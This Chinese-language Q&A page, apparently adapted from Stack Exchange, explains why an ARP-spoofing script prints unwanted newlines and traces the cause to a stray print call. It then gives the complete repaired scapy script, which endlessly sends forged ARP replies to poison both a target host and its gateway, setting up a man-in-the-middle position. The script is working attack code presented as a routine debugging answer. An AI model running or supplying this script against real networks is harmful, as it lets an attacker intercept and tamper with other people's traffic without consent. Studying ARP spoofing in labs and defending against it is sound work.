You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何在Python中正确使用动态打印?解决arpspoof工具打印换行问题

问题原因

你遇到的换行问题和Python版本的打印参数无关,根源是get_mac()函数中存在多余的打印语句:

print(" ")

每次调用spoof()函数发送ARP欺骗包时,都会先调用get_mac()查询目标MAC地址,这行打印会默认输出换行符,直接破坏了后续计数打印的行刷新逻辑。

修复方案
  1. 删掉get_mac()函数中无用的print(" ")代码即可解决自动换行问题。
  2. 如果需要同时兼容Python2和Python3环境,可以根据运行版本自动适配打印逻辑,同时可以提前缓存目标MAC地址,避免每次循环重复查询提升效率。
修复后完整代码
#!usr/bin/env python
import sys
import time
import scapy.all as scapy

def get_mac(ip):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast/arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout=3, verbose=False)[0]
    return answered_list[0][1].hwsrc

def spoof(target_ip, target_mac, spoof_ip):
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    scapy.send(packet, verbose=False)

# 提前缓存MAC地址,不用每次循环重复查询
target_ip = "192.168.100.2"
gateway_ip = "192.168.100.1"
target_mac = get_mac(target_ip)
gateway_mac = get_mac(gateway_ip)

sent_packets_count = 0
while True:
    spoof(target_ip, target_mac, gateway_ip)
    spoof(gateway_ip, gateway_mac, target_ip)
    sent_packets_count += 2
    # 兼容Python2和3的打印写法
    if sys.version_info.major == 2:
        print("\r[+] Packets sent: " + str(sent_packets_count)),
    else:
        print("\r[+] Packets sent: " + str(sent_packets_count), end="")
    sys.stdout.flush()
    time.sleep(2)

内容的提问来源于stack exchange,提问作者Kurdish Learner

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.10.01 22:45:03